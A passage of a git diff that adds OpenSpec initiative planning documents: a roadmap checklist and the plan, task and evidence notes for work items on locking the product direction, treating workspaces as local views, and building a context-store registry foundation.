flow. +5. Item 15: context-store project roots and sparse schema-led + initiatives. +6. Items 16-18: leave escalation, team hardening, and initiative-hosted + target-bound changes until after the onboarding path feels sane. +7. Item 19: review beta workspace compatibility near the end, before workspace + behavior becomes public/stable. + +## 1. Lock The Direction + +Work item: `work-items/01-lock-the-direction/` + +- [x] Record the workspace-to-initiative product boundary in initiative docs. +- [x] Mark the old workspace reimplementation roadmap as historical reference. +- [x] Defer workspace apply, verify, and archive until initiative-linked repo + changes exist. +- [x] Complete a non-spec direction pass so roadmap, work items, docs, and + active change artifacts point to the initiative as product intent. +- [x] Decide whether user-facing workspace docs need any change now; default to + no unless they misrepresent current behavior. +- [x] Decide how to handle active no-task workspace changes after the + disposition pass. +- [x] Record final evidence and remaining risks for Item 1. + +## 2. Stabilize Workspace As Local View + +Work item: `work-items/02-stabilize-workspace-as-local-view/` + +- [x] Re-anchor generated workspace guidance in the initiative direction. +- [x] Decide that generated guidance should stop recommending workspace-level + `changes/` as the planning home for coordinated work. +- [x] Decide that `workspace update` should refresh generated workspace + guidance for existing workspaces. +- [x] Decide that workspace-planning action context should treat beta workspace + artifacts as local compatibility context. +- [x] Decide to defer doctor installed-skill summaries and only update stale + `workspace update` wording for now. +- [x] Define exact local-view behavior to preserve. +- [x] Review current workspace setup, link, relink, list, open, update, and + doctor behavior against that definition. +- [x] Identify any product wording or guidance gaps left after Item 1. + +## 3. Add Context Store Foundation + +Work item: `work-items/03-add-context-store-foundation/` + +- [x] Define the initial store/backend data model. +- [x] Decide that the first slice is core API only, with no CLI surface yet. +- [x] Decide that the first backend is Git/local checkout config only. +- [x] Decide where context store roots, local registry YAML, and portable store + metadata YAML live. +- [x] Implement context-store foundation helpers and tests. + +## 4. Add Collection Foundation + +Work item: `work-items/04-add-collection-foundation/` + +- [x] Define collection mount rules. +- [x] Decide validation/template hooks stay inert extension fields for this + slice. +- [x] Prove `initiatives/` can mount without store-specific logic. + +## 5. Ship Initiative MVP + +Work item: `work-items/05-ship-initiative-mvp/` + +- [x] Define initiative file shape and validation. +- [x] Add templates for requirements, design, decisions, questions, and tasks. +- [x] Implement create/list mounted collection operations and CLI adapter. +- [x] Decide full read/show, update, and delete policy should move to later + agent-first discovery and lifecycle work. + +## 6. Add Minimal Context Store UX + +Work item: `work-items/06-add-minimal-context-store-ux/` + +- [x] Create Item 6 work-item tracking notes. +- [x] Define high-level `context-store setup`, `register`, `list`, and `doctor` + UX direction. +- [x] Decide exact checked-in store metadata and machine-local registry + behavior. +- [x] Decide setup/register/list/doctor human behavior and responsibility split. +- [x] Decide `initiative list` partial-success behavior across registered + stores. +- [x] Decide final Item 6 edge cases: id inference, non-empty setup folders, + registry conflicts, empty states, JSON exit behavior, and static completions. +- [x] Update `initiative list` to default across registered stores, with + `--store` as a filter and `--store-path` as an escape hatch. +- [x] Add focused tests and verification for context-store CLI behavior. + +## 7. Add Agent-First Initiative Discovery + +- [x] Define `initiative show ` human and JSON output. +- [x] Search registered stores by default and handle ambiguous initiative ids. +- [x] Return canonical initiative metadata, store identity, root path, and + metadata path for agent reads. +- [x] Keep work-progress status out of this command. + +## 8. Connect Repo-Local Changes To Initiatives + +Work item: `work-items/08-connect-repo-local-changes-to-initiatives/` + +- [x] Decide that the initiative link lives in repo-local `.openspec.yaml`. +- [x] Add repo-local initiative metadata. +- [x] Add an agent-friendly create or link flow for repo-local changes. +- [x] Decide command naming for `--initiative` linking on new change creation. +- [x] Confirm whether create/link output should report where the change lives, + which initiative it references, and the next suggested command. +- [x] Confirm whether `--initiative ` searches registered stores by default + or requires explicit store selection in multi-store setups. +- [x] Keep canonical initiative context in the context store; do not add a + checked-in `initiative.md` snapshot by default. + +## 9. Reject Initiative Resolve + +Work item: `work-items/09-add-initiative-resolve/` + +- [x] Pressure-test whether a standalone `initiative resolve` command is needed. +- [x] Decide not to add `openspec initiative resolve`, now or later. +- [x] Keep canonical initiative discovery in `initiative show`. +- [x] Keep local path mapping in workspace behavior. +- [x] Keep implementation progress in repo-local status. +- [x] Reject all-repo scans, all-workspace scans, explicit path scanning as an + initiative command, Git remote matching, cloning, worktree creation, and + initiative backlinks. + +## Proposed Discussion: Initiative Next / Agent Handoff UX + +Work item draft: +`work-items/proposed-initiative-next-agent-handoff-ux/` + +- [ ] Decide whether to add this as a numbered roadmap item between Item 9 and + Item 10. +- [ ] Decide whether the surface is `initiative next`, workspace initiative + opening, or repo-local status guidance. +- [ ] Decide whether it suggests one next action or multiple ranked options. +- [ ] Decide that progress/status stays out of scope, unless we explicitly want + this command to grow into a broader status surface. + +## 10. Let Workspaces Open Initiatives + +- [x] Create Item 10 work-item tracking notes. +- [x] Lock the command UX for opening an initiative as a local workspace view. +- [x] Define the private local view record for selected context store, + initiative, local links, opener, and selected tools. +- [x] Decide the private local view record storage namespace and keying. +- [x] Decide the default open target: initiative directory versus full context + store. +- [x] Decide where generated runtime files live and how they are regenerated. +- [x] Define runtime identity rules for macOS, Codespaces, WSL, SSH, and + containers without path translation. +- [x] Decide the prepare/JSON surface for agents and desktop integrations. +- [x] Decide the Codex Desktop behavior for generated workspace roots and attached + paths. +- [x] Define advisory edit-boundary output for Item 10. +- [x] Confirm this slice opens known local paths only and does not create + clones, branches, worktrees, or submodules. + +## 11. Manual Beta Reality Pass + +Work item: `work-items/11-manual-beta-reality-pass/` + +- [ ] Manually run the current context-store, initiative, workspace, and + repo-local change flows from a fresh user's point of view. +- [ ] Capture notes on confusing commands, missing prompts, unclear output, and + places where the docs over-explain or under-explain. +- [ ] Update initiative notes as observations come in. +- [ ] Decide which findings should become implementation slices versus docs-only + fixes. + +## 12. Context Store First-Run And Cleanup UX + +Work item: `work-items/12-context-store-first-run-and-cleanup-ux/` + +- [x] Decide and implement interactive no-argument `context-store setup`. +- [x] Define target-path safety behavior for managed defaults, explicit paths, + Git repos, and non-empty directories. +- [x] Add local cleanup support for unregistering or removing a context store. +- [x] Make setup and cleanup output report the agreed human-facing summary and + exact JSON state without workflow `next_commands`. +- [x] Update docs and tests for first-run setup and cleanup behavior. + +## 13. Agent Handoff Output And Delivery Polish + +Work item: `work-items/13-agent-handoff-output-and-delivery-polish/` + +Status: deferred. Do not implement fixed "Next for your agent" output from this +item yet. + +- [ ] Revisit the handoff model after Item 14/15 clarify the beta guide and + sparse initiative flow. +- [ ] If needed, split deterministic receipt improvements such as direct + `created_paths` into a smaller future implementation slice. +- [ ] Avoid prescribing one linear workflow path; future handoff output should + report state, paths, and possible affordances that agents can compose. + +## 14. Workspaces Beta Guide Split + +Work item: `work-items/14-workspaces-beta-guide-split/` + +- [ ] Update the user-facing guide to prefer interactive terminal setup for + local choices. +- [ ] Move initiative creation, initiative editing, and repo-local change + creation into "ask your coding agent" guidance. +- [ ] Keep explicit flags, JSON output, cwd rules, and caveats in the + agent-facing CLI playbook. +- [ ] Decide which flags remain useful in user docs as escape hatches for + ambiguity. +- [ ] Record any interactive prompt gaps found while writing the guide. + +## 15. Context Store Project Roots And Schema-Led Initiatives + +Work item: +`work-items/15-context-store-project-roots-and-schema-led-initiatives/` + +- [x] Create Item 15 work-item tracking notes. +- [ ] Update initiative direction language so context stores are OpenSpec-aware + shared project roots, not only cross-team/cross-repo coordination folders. +- [ ] Decide the minimal context-store OpenSpec structure: + `.openspec-store/store.yaml`, `openspec/config.yaml`, + `openspec/schemas/`, and collection mounts. +- [ ] Decide the store-local config shape for initiative collection defaults, + including whether to use `collections.initiatives.schema`. +- [ ] Decide how context-store setup creates, preserves, or repairs + store-local `openspec/config.yaml`. +- [ ] Define the built-in high-level initiative schema and its initial + artifacts. +- [ ] Decide whether `initiative create` creates only `initiative.yaml`, or + `initiative.yaml` plus one schema-selected seed artifact such as `brief.md`. +- [ ] Replace eager six-file initiative scaffolding with sparse iterative + creation. +- [ ] Add initiative artifact status/instructions behavior rooted at the + initiative directory. +- [ ] Reuse project-local schema resolution with the context-store root as the + project root for initiative commands. +- [ ] Decide whether schema CLI commands need `--store` or `--store-path` + selectors. +- [ ] Guard planning-home resolution so context stores with `openspec/config.yaml` + do not accidentally make the store an implementation repo. +- [ ] Preserve existing six-file beta initiatives as readable valid + initiatives. +- [ ] Update docs, generated agent guidance, and tests for the project-like + context-store model. + +## 16. Add Escalation UX + +Work item: `work-items/16-add-escalation-ux/` + +- [ ] Define local-to-initiative recommendation triggers. +- [ ] Carry current planning context into a new initiative. +- [ ] Keep prompts grounded in affected areas. + +## 17. Harden Team-Shared Coordination + +Work item: `work-items/17-harden-team-shared-coordination/` + +- [ ] Document recommended Git-backed store setup. +- [ ] Define teammate onboarding and repair flows. +- [ ] Add sync status and conflict guidance. + +## 18. Explore Initiative-Hosted Target-Bound Change Artifacts + +Work item: `work-items/18-explore-initiative-hosted-target-bound-change-artifacts/` + +- [ ] Confirm "change home" stays internal language and user-facing wording is + closer to "where should this plan live?" +- [ ] Define user-facing naming for initiative work items, briefs, + target-bound changes, artifact homes, and editable targets. +- [ ] Decide whether initiative-hosted artifacts can graduate into executable + changes, and which target metadata is required first. +- [ ] Decide the configuration or opt-in surface for repo-local versus + initiative-hosted artifacts. +- [ ] Define how `openspec new change` selects and reports the artifact home, + implementation target, initiative link, and action context. +- [ ] Decide how initiative-hosted target-bound changes bind to repo specs, + implementation roots, validation, archive, and sync behavior. +- [ ] Record compatibility behavior for existing repo-local and + workspace-local changes. +- [ ] Identify follow-on implementation slices and risks. + +## 19. Review Workspace Beta Compatibility Before Public Release + +Work item: +`work-items/19-review-workspace-beta-compatibility-before-public-release/` + +- [ ] Inventory workspace beta compatibility code and tests. +- [ ] Decide which beta-only compatibility paths should be removed before + public release. +- [ ] Decide which compatibility paths need explicit migration behavior or + release notes. +- [ ] Remove low-value shims that only support unpublished beta workspace + shapes. +- [ ] Update docs, tests, and agent guidance to match the chosen public + workspace compatibility contract. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/evidence.md new file mode 100644 index 0000000000..d9483abe69 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/evidence.md @@ -0,0 +1,154 @@ +# Work Item 01 Evidence + +## 2026-05-20 Initial Direction Lock + +Completed before this work item folder was created: + +- Added locked disposition to `roadmap.md`. +- Added locked product boundary to `direction.md`. +- Marked `openspec/changes/workspace-reimplementation-roadmap/START_HERE.md` as historical reference. +- Marked `openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` as historical reference. +- Marked `openspec/changes/workspace-reimplementation-roadmap/` as historical + reference. +- Marked `workspace-apply-repo-slice` and `workspace-verify-and-archive` as + deferred until initiative-linked repo-local changes exist. + +Research findings: + +- Current workspace setup, link, relink, list, open, update, and doctor behavior + is useful beta local-view infrastructure and should be preserved. +- Live specs describe current workspace-planning behavior. They should not be + rewritten during the initial direction lock; initiative artifacts should carry + future product intent until behavior changes. +- Existing runtime behavior should remain intact until initiatives and linked + repo-local changes can replace workspace-level planning. + +Verification: + +- `git diff --check` passed after the initial direction-lock edits. +- `openspec validate workspace-reimplementation-roadmap --no-interactive`, + `openspec validate workspace-apply-repo-slice --no-interactive`, and + `openspec validate workspace-verify-and-archive --no-interactive` failed + because those existing active changes have no spec deltas. That predates the + disposition wording and is tracked as an active-change cleanup question. + +## 2026-05-21 Initiative Entry Point + +Added `README.md` as the initiative entry point and linked it from +`.initiative.yaml`. + +The README explains: + +- this initiative is the source of product intent +- the reading order for direction, roadmap, tasks, decisions, questions, and + work items +- specs remain the current behavioral contract behind the code +- specs should not be rewritten for future intent until behavior changes + +Updated `work-items/01-lock-the-direction/tasks.md` to mark the initiative +source-of-intent review complete. + +## 2026-05-21 Historical Workspace Roadmap Review + +Reviewed the historical workspace reimplementation entry points: + +- `openspec/changes/workspace-reimplementation-roadmap/START_HERE.md` +- `openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` +- `openspec/changes/workspace-reimplementation-roadmap/README.md` +- `openspec/changes/workspace-reimplementation-roadmap/proposal.md` +- `openspec/changes/workspace-reimplementation-roadmap/POC_REFERENCE_GUIDE.md` + +Added a guard near the top of +`openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` stating +that the remaining sections are historical POC follow-up direction and should +not be treated as active implementation guidance. + +The roadmap README and handoff prompt already direct agents to the initiative +direction first and warn not to continue the old flat sibling queue unless a +later initiative-linked repo-change design reactivates it. + +## 2026-05-21 Active Workspace Proposal Review + +Reviewed active workspace proposal artifacts: + +- `workspace-reimplementation-roadmap` +- `workspace-agent-guidance` +- `workspace-apply-repo-slice` +- `workspace-verify-and-archive` + +Added small notes to `workspace-apply-repo-slice` and +`workspace-verify-and-archive` clarifying that the remaining proposal sections +are preserved for later reference, not discarded, and should become relevant +again after initiatives and initiative-linked repo-local changes exist. + +Left `workspace-agent-guidance` untouched because it already has unrelated +worktree edits and should be handled as a separate active-change disposition +decision. + +## 2026-05-21 User-Facing Docs Decision + +Decision: Do not update `docs/cli.md` as part of the initial direction lock +unless it misrepresents current user-facing behavior. + +Reasoning: + +- The direction lock is for contributors and agents deciding what to build next. +- User-facing docs should describe current CLI behavior, not future initiative + intent. +- Initiatives do not have a CLI surface yet, so announcing the pivot in user + docs would draw attention to an internal product direction before users can act + on it. + +Revisit user-facing docs when initiative or context-store commands exist, or if +current docs promise unavailable workspace apply, verify, or archive behavior. + +Verification: + +- `git diff --check` passed. +- No files under `openspec/specs/` or `schemas/workspace-planning/` were + modified in this pass. + +## 2026-05-21 Active Change Disposition + +Decision: Keep the active workspace changes as deferred reference placeholders. + +Rationale: + +- Workspace agent guidance, apply, verify, and archive are still expected to + matter after initiative infrastructure exists. +- The immediate focus should be context stores, initiatives, and + initiative-linked repo-local changes. +- Keeping the proposals preserves research and continuity without making them + the next implementation queue. + +Follow-up: + +- Revisit the deferred workspace changes after initiative-linked repo-local + changes define the durable handoff model. + +## Final Item 1 State + +Item 1 is complete. + +What is locked: + +- Initiative artifacts are the source of product intent for context stores, + collections, initiatives, workspaces, and repo-local changes. +- Specs and schemas remain the current behavioral contract and were not edited + for future intent. +- Historical workspace roadmap artifacts remain available as reference, not as + the active shipping queue. +- Deferred workspace changes remain active reference placeholders because their + domains are expected to matter after initiative infrastructure exists. +- User-facing docs were intentionally left unchanged unless they misrepresent + current behavior. + +Remaining risks: + +- `openspec list` still shows deferred workspace changes as active no-task + changes. This is intentional for now but may remain visually noisy. +- `workspace-agent-guidance` has unrelated worktree edits and should be handled + carefully before any future commit or archive decision. +- Future agents still need to read the initiative README first; the historical + workspace docs are safer now, but still contain useful old lifecycle details + deeper in the file. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/plan.md new file mode 100644 index 0000000000..05a15c5a82 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/plan.md @@ -0,0 +1,90 @@ +# Work Item 01: Lock The Direction + +## Goal + +Make the workspace-to-initiative pivot explicit enough that future agents and +contributors do not continue implementing the older "workspace owns the plan" +model. + +The locked model is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Direction + +This work item is a non-spec direction pass, not a runtime removal. + +Specs should continue to describe the current behavioral contract behind the +code. Product intent, roadmap decisions, and future direction should live in the +initiative artifacts until a later implementation change intentionally updates +behavior and its specs together. + +Keep: + +- workspace setup, link, relink, list, open, update, and doctor +- linked repos and folders as local planning context +- workspace-local skills as local agent guidance +- "workspace visibility is not change commitment" + +Mark as transitional: + +- workspace-level `changes/` planning +- `workspace-planning` schema +- workspace-scoped status/instructions compatibility + +Defer: + +- workspace apply, verify, and archive as first-class lifecycle commands +- branch/worktree orchestration +- strong cross-repo validation +- dependency graph enforcement + +Supersede: + +- workspace as the durable shared planning home +- workspace-level planning artifacts as the canonical cross-repo plan +- workspace change planning as the long-term source of truth + +## Files To Review Now + +- `openspec/initiatives/context-store-and-initiatives/*.md` +- `openspec/initiatives/context-store-and-initiatives/work-items/**/*.md` +- `openspec/changes/workspace-reimplementation-roadmap/START_HERE.md` +- `openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` +- `openspec/changes/workspace-reimplementation-roadmap/*` +- active `openspec/changes/workspace-*` proposals +- `docs/cli.md` + +## Files To Leave Alone For Now + +- `openspec/specs/**/*.md` +- `schemas/workspace-planning/**` + +Those files should change only when we intentionally change behavior or create a +repo-owned implementation change that updates the relevant behavioral contract. + +## Non-Goals + +- Do not remove current workspace-planning runtime behavior. +- Do not delete the `workspace-planning` schema. +- Do not add CLI deprecation warnings until the initiative replacement exists. +- Do not implement context stores in this work item. +- Do not edit OpenSpec specs as part of the initial direction lock. + +## Done When + +- Initiative artifacts clearly carry the product intent and roadmap decisions. +- Historical workspace roadmap artifacts no longer read as the active shipping + queue. +- User-facing docs describe current workspaces as local views where that does + not contradict current behavior. +- Existing workspace-planning behavior is clearly treated as current behavior, + not the future product model, in initiative and roadmap artifacts. +- Workspace apply, verify, and archive are clearly deferred. +- Fresh agents can identify the initiative direction as the source of truth. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/tasks.md new file mode 100644 index 0000000000..d04b60a620 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/01-lock-the-direction/tasks.md @@ -0,0 +1,44 @@ +# Work Item 01 Tasks + +## Tracking Setup + +- [x] Create initiative-level `tasks.md`, `decisions.md`, and `questions.md`. +- [x] Create `work-items/01-lock-the-direction/`. +- [x] Record why roadmap implementation is tracked inside the initiative instead + of creating a new OpenSpec change. + +## Direction Lock Already Captured + +- [x] Add locked disposition to `roadmap.md`. +- [x] Add locked product boundary to `direction.md`. +- [x] Mark `openspec/changes/workspace-reimplementation-roadmap/START_HERE.md` as historical reference. +- [x] Mark `openspec/changes/workspace-reimplementation-roadmap/HISTORICAL_DIRECTION.md` as historical reference. +- [x] Mark `workspace-reimplementation-roadmap` as historical reference. +- [x] Mark `workspace-apply-repo-slice` as deferred. +- [x] Mark `workspace-verify-and-archive` as deferred. + +## Non-Spec Direction Pass + +- [x] Keep OpenSpec specs unchanged until behavior changes. +- [x] Review initiative artifacts for a clear source-of-intent story. +- [x] Review historical workspace roadmap artifacts for any remaining language + that tells agents to continue the old shipping queue. +- [x] Review active workspace proposal artifacts for any remaining language that + presents workspace apply, verify, or archive as next. +- [x] Decide whether user-facing docs need changes now; default to no unless + they misrepresent current behavior. +- [x] Record a decision that specs remain current behavioral contracts, while + initiative docs carry future product intent. + +## Active Change Disposition + +- [x] Decide whether `workspace-agent-guidance` should be reframed, closed, or + kept as a local-view guidance item. +- [x] Decide whether no-task deferred workspace changes should stay active, + move to archive, or be represented only by initiative work items. + +## Verification + +- [x] Run `git diff --check`. +- [x] Confirm no OpenSpec specs were modified in this pass. +- [x] Record evidence in `evidence.md`. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/evidence.md new file mode 100644 index 0000000000..85d0b0a03b --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/evidence.md @@ -0,0 +1,68 @@ +# Stabilize Workspace As Local View Evidence + +## Direction Evidence + +`direction.md` says the durable shared object is a synced context store, with +initiatives as the first major collection. It defines workspaces as local +working views over context stores and repos, and repo changes as repo/team-owned +implementation plans. + +The locked product boundary supersedes the older model where a workspace-level +`changes/` tree owned the canonical shared cross-repo plan. Existing +workspace-planning behavior can remain as beta or legacy infrastructure, but it +should not steer new lifecycle design. + +## Subagent Research + +Implementation research found that workspace setup, link, relink, list, open, +update, and doctor already mostly behave like local-view infrastructure: + +- shared link names live in workspace state +- machine-local paths and opener/skill state live in local state +- `workspace open` launches linked folders as a local working set +- linked repos are treated as context for workspace-planning commands +- `workspace update` refreshes workspace-local skills and leaves linked repos + untouched + +Guidance research found that the generated `AGENTS.md` block is the most +important mismatch because it still frames the workspace as planning across +linked repos and says to use `changes/` for workspace-level planning. + +Test research found strong current coverage for setup/list/doctor, link/relink, +open, update, artifact placement, and workspace-planning guards. The targeted +workspace/artifact test slice passed, as did the skill-template parity test. + +## Main Risk + +If generated workspace guidance continues to recommend workspace-level +`changes/`, agents may treat the workspace as the durable shared planning +object even though the initiative direction assigns durable coordination to +initiatives and implementation planning to repo-local changes. + +## Implementation Evidence + +The first implementation slice updates the generated workspace `AGENTS.md` +guidance and makes `workspace update` refresh the workspace-local open surface. +It also updates workspace-planning action context so beta workspace artifacts are +reported as `workspace-local` compatibility context instead of the source of +truth. + +Doctor/status review found that local path mappings, unresolved links, repair +steps, malformed local state, missing local state, repo specs paths, and skill +drift warnings are already covered. Normal installed-skill summaries are +deferred for now; the current slice only updates stale `workspace update` +wording so it matches the guidance refresh behavior. + +Verification: + +- `pnpm run build` +- `pnpm exec vitest run test/commands/workspace.test.ts test/commands/artifact-workflow.test.ts test/core/workspace/foundation.test.ts` +- `pnpm run lint` +- `git diff --check` + +## Closeout Evidence + +Live docs no longer describe workspaces as durable planning homes or as the +canonical place for cross-repo planning. Historical and deferred workspace +artifacts remain as reference material, with active deferred proposals labeled +so they do not steer the next implementation slice. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/plan.md new file mode 100644 index 0000000000..147b94556a --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/plan.md @@ -0,0 +1,80 @@ +# Stabilize Workspace As Local View + +## Status + +Complete for the current local-view stabilization slice. Remaining workspace +planning/apply/verify/archive behavior stays deferred until initiative-linked +repo-local changes exist. + +## Source Of Truth + +Start from `../direction.md`. + +The relevant model is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Goal + +Keep workspace setup, link, relink, list, open, update, and doctor useful while +making it clear that a workspace is a regenerable machine-local view, not the +durable coordination object. + +## Agreed Guidance Direction + +Generated workspace guidance should route agents by ownership: + +- Use the workspace to open the local view of coordinated work. +- Use initiatives for durable cross-team or cross-repo intent, decisions, + requirements, and coordination context. +- Use repo-local OpenSpec changes for implementation plans owned by a repo or + team. +- Use linked repos and folders to inspect context, understand ownership, and + make edits in the place that owns the work. +- Keep workspace-local files focused on local paths, opener state, agent setup, + and other machine-specific view state. +- Use OpenSpec workspace commands instead of hand-editing + `.openspec-workspace/*.yaml`. +- If a workspace contains legacy or beta workspace-level planning files, treat + them as compatibility context unless the user explicitly asks to use that beta + flow. + +## Guidance To Stop Reinforcing + +Do not tell agents to use workspace-level `changes/` as the planning home for +coordinated work. That reinforces the superseded model where a workspace-level +`changes/` tree owned the canonical shared cross-repo plan. + +Existing workspace-planning behavior may remain as beta or legacy +infrastructure, but it should not steer new lifecycle design. + +## Likely Repo Slice + +- Reword generated workspace guidance in + `src/core/workspace/open-surface.ts`. +- Update focused guidance tests. +- Make `workspace update` refresh the guidance block for existing workspaces. +- Keep specs untouched until a behavior change intentionally updates them. + +## Closeout + +Implemented: + +- generated workspace guidance now routes work by ownership +- `workspace update` refreshes workspace-local guidance/open-surface files and + managed agent skills +- workspace-planning action context treats beta workspace artifacts as + `workspace-local` compatibility context +- live docs describe workspaces as local views instead of durable planning homes + +Deferred: + +- normal doctor installed-skill inventory +- workspace apply, verify, and archive +- initiative-linked repo-local change orchestration diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/tasks.md new file mode 100644 index 0000000000..5a07a1f579 --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/02-stabilize-workspace-as-local-view/tasks.md @@ -0,0 +1,23 @@ +# Stabilize Workspace As Local View Tasks + +- [x] Research current workspace runtime, guidance, and test coverage. +- [x] Re-anchor guidance direction in `direction.md`. +- [x] Decide that generated guidance should route durable coordination to + initiatives and implementation planning to repo-local changes. +- [x] Decide that generated guidance should stop recommending workspace-level + `changes/` as the planning home. +- [x] Decide that `workspace update` refreshes the generated guidance block + for existing workspaces. +- [x] Update workspace-planning action context so beta workspace artifacts are + compatibility context, not the source of truth. +- [x] Decide to defer normal doctor skill summaries until users need an + installed-skill inventory. +- [x] Update `workspace update` wording to include workspace-local guidance and + agent skills. +- [x] Define the minimal doctor/status improvement for local paths, unresolved + links, and installed agent skills. +- [x] Identify the focused code/test files for the implementation slice. +- [x] Run the targeted workspace and artifact workflow test slice before + landing implementation. +- [x] Close out live docs wording that still framed workspaces as durable + planning homes. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/evidence.md b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/evidence.md new file mode 100644 index 0000000000..402c2f8fbe --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/evidence.md @@ -0,0 +1,43 @@ +# Add Context Store Foundation Evidence + +## Research Summary + +Existing OpenSpec patterns point toward a small explicit foundation: + +- Global data uses XDG/platform locations from `getGlobalDataDir()`. +- Workspace registries are machine-local convenience indexes under global data. +- Workspace portable state uses versioned YAML and strict Zod validation. +- Existing read/write helpers validate state before writing and use + `FileSystemUtils.writeFile()` to create parent directories. +- Schema/backend-style code favors small explicit adapters and registries over + heavy framework abstractions. + +## Decisions + +- The first context-store backend is Git/local checkout config only. +- OpenSpec records where the local checkout lives; it does not decide where real + team stores are cloned by default. +- The local registry is not source of truth. It is a machine-local index. +- Store-root metadata is portable source-of-identity for the synced store. +- Initiatives and collections are later consumers, not part of the store + foundation. +- A thin facade should hide raw registry/metadata writes before initiative CLI + wiring. + +## Implementation Evidence + +- `src/core/context-store/registry.ts` registers Git/local context stores, + lists local registry entries, and resolves registered stores with metadata id + validation. +- `src/core/context-store/index.ts` exports the facade. +- `test/core/context-store/registry.test.ts` covers registration, registry + merge/update, metadata mismatch rejection, listing, resolution, missing or + mismatched metadata, and initiative collection mounting from a resolved root. + +## Verification + +- `pnpm exec vitest run test/core/context-store/foundation.test.ts` +- `pnpm exec vitest run test/core/context-store/registry.test.ts` +- `pnpm run build` +- `pnpm run lint` +- `git diff --check` diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/plan.md b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/plan.md new file mode 100644 index 0000000000..2ea0c27afd --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/plan.md @@ -0,0 +1,85 @@ +# Add Context Store Foundation + +## Status + +Registration/resolution facade implemented. + +## Source Of Truth + +Start from `../direction.md`. + +The relevant model is: + +```text +Context stores sync truth. +Collections shape truth. +Initiatives coordinate work. +Workspaces open local views. +Changes implement repo-owned slices. +``` + +## Goal + +Add the smallest core foundation for context stores without making the store +layer know about initiatives, collections, workspaces, or repo-local changes. + +## Locked Direction + +- Support one backend for the first slice: a Git/local checkout backend. +- Treat the actual context store root as a user-chosen local Git checkout or + synced folder. +- Do not hide real team context stores under XDG data by default. +- Store the machine-local registry under global data: + `$XDG_DATA_HOME/openspec/context-stores/registry.yaml`. +- Store portable context-store identity inside the store root: + `/.openspec-store/store.yaml`. +- Start with backend identity/config, strict validation, path helpers, and + registry/metadata read-write helpers. +- Add a thin registration/resolution facade before initiative CLI wiring so + callers do not manipulate raw registry and metadata YAML directly. +- Do not reimplement the TypeScript or Node filesystem APIs as the public store + interface. +- Do not add initiative, collection, workspace-open, sync, pull, push, or CLI + behavior in this slice. + +## Initial Shape + +Machine-local registry: + +```yaml +version: 1 +stores: + acme-context: + backend: + type: git + local_path: /Users/me/repos/acme-context + remote: git@github.com:acme/context.git + branch: main +``` + +Portable metadata in the store root: + +```yaml +version: 1 +id: acme-context +``` + +## Likely Repo Slice + +- Add `src/core/context-store/foundation.ts`. +- Add `src/core/context-store/registry.ts`. +- Add `src/core/context-store/index.ts`. +- Export the core context-store foundation from `src/core/index.ts`. +- Add focused tests under `test/core/context-store/`. +- Keep specs untouched until a behavior/API contract is deliberately surfaced. + +## Implemented Facade Slice + +- Added `registerContextStore(...)`. +- Added `listRegisteredContextStores(...)`. +- Added `resolveRegisteredContextStore(...)`. +- Registration writes portable store metadata when missing, validates existing + metadata when present, and merges/updates the machine-local registry. +- Resolution validates that the registry id matches the store-root metadata id. +- No Git clone, pull, push, sync, workspace state, collection manifest, or CLI + behavior was added. diff --git a/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/tasks.md b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/tasks.md new file mode 100644 index 0000000000..4aeddc285d --- /dev/null +++ b/openspec/initiatives/context-store-and-initiatives/work-items/03-add-context-store-foundation/tasks.md @@ -0,0 +1,17 @@ +# Add Context Store Foundation Tasks + +- [x] Research existing config, registry, file-system, and schema/backend + patterns. +- [x] Decide to start with Git/local backend identity only, not a generic file + API. +- [x] Decide that real context store roots are user-chosen Git checkouts or + synced folders. +- [x] Decide that the local registry lives under global data and portable store + metadata lives inside the store root. +- [x] Add context-store foundation types, path helpers, parse/serialize, and + read/write helpers. +- [x] Add focused tests for validation, paths, registry roundtrip, metadata + roundtrip, and Git/local backend path resolution. +- [x] Run targeted verification. +- [x] Decide registration/resolution facade should precede initiative CLI. +- [x] Add context-store 